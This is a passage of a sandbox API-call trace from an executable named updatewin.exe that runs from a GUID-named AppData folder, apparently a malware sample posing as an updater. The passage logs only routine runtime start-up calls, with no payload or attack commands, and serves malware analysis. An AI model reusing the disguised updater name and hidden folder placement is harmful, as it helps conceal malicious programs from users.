(hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0049.861] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x364) returned 0x5cb9c0 [0049.861] SetLastError (dwErrCode=0x57) [0049.861] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0xc00) returned 0x5cbd30 [0049.862] GetStartupInfoW (in: lpStartupInfo=0x18e4e0 | out: lpStartupInfo=0x18e4e0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x402400, hStdOutput=0xf9173c82, hStdError=0xfffffffe)) [0049.863] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0049.863] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0049.863] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0049.863] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin.exe\" " [0049.863] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin.exe\" " [0049.863] GetACP () returned 0x4e4 [0049.863] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x220) returned 0x5cd138 [0049.863] IsValidCodePage (CodePage=0x4e4) returned 1 [0049.863] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18e500 | out: lpCPInfo=0x18e500) returned 1 [0049.863] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18ddc8 | out: lpCPInfo=0x18ddc8) returned 1 [0049.863] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.863] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x18db68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0049.863] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18dddc | out: lpCharType=0x18dddc) returned 1 [0049.863] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.863] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x18db18, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ謇@Ā") returned 256 [0049.863] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.863] GetLastError () returned 0x57 [0049.863] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0049.863] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ謇@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0049.863] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ謇@Ā", cchSrc=256, lpDestStr=0x18d908, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0049.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18e2dc, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xca\xfb\x4e\xf9\x18\xe5\x18", lpUsedDefaultChar=0x0) returned 256 [0049.863] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.863] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18e3dc, cbMultiByte=256, lpWideCharStr=0x18db38, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0049.863] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0049.863] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18d928, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0049.864] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18e1dc, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xca\xfb\x4e\xf9\x18\xe5\x18", lpUsedDefaultChar=0x0) returned 256 [0049.864] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x80) returned 0x5cb0e0 [0049.864] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x413ba8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\updatewin.exe")) returned 0x5e [0049.864] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0xc6) returned 0x5cd360 [0049.864] RtlInitializeSListHead (in: ListHead=0x413ad0 | out: ListHead=0x413ad0) [0049.864] GetLastError () returned 0x0 [0049.864] SetLastError (dwErrCode=0x0) [0049.864] GetEnvironmentStringsW () returned 0x5cd430* [0049.864] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xaca) returned 0x5cdf08 [0049.864] FreeEnvironmentStringsW (penv=0x5cd430) returned 1 [0049.864] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x98) returned 0x5cafc8 [0049.864] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x3e) returned 0x5cd430 [0049.864] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x6c) returned 0x5cd478 [0049.864] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x6e) returned 0x5cd4f0 [0049.864] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x78) returned 0x5b1270 [0049.864] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x62) returned 0x5cd568 [0049.864] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x2e) returned 0x5b52c0 [0049.864] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x48) returned 0x5cd5d8 [0049.864] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x28) returned 0x5cd628 [0049.864] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x1a) returned 0x5cd0a8 [0049.864] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x4a) returned 0x5cd658 [0049.864] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x72) returned 0x5b12f0 [0049.864] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x30) returned 0x5b52f8 [0049.864] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x2e) returned 0x5b5330 [0049.864] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x1c) returned 0x5cd0d0 [0049.864] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0xd2) returned 0x5cd6b0 [0049.864] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x7c) returned 0x5cd790 [0049.864] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x36) returned 0x5cd818 [0049.864] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x3a) returned 0x5ce9f8 [0049.864] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x90) returned 0x5cd858 [0049.864] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x24) returned 0x5cd8f0 [0049.864] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x30) returned 0x5b5368 [0049.864] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x36) returned 0x5cd920 [0049.865] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x48) returned 0x5cd960 [0049.865] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x52) returned 0x5cd9b0 [0049.865] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x3c) returned 0x5cea40 [0049.865] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x82) returned 0x5cda10 [0049.865] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x2e) returned 0x5b53a0 [0049.865] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x1e) returned 0x5cd0f8 [0049.865] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x2c) returned 0x5b53d8 [0049.865] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x54) returned 0x5cdaa0 [0049.865] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x52) returned 0x5cdb00 [0049.865] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x2a) returned 0x5b5410 [0049.865] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x3c) returned 0x5cea88 [0049.865] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x54) returned 0x5cdb60 [0049.865] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x24) returned 0x5cdbc0 [0049.865] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x30) returned 0x5b5448 [0049.865] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x8c) returned 0x5cdbf0 [0049.865] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5cdf08 | out: hHeap=0x5a0000) returned 1 [0049.865] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x800) returned 0x5cdc88 [0049.865] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 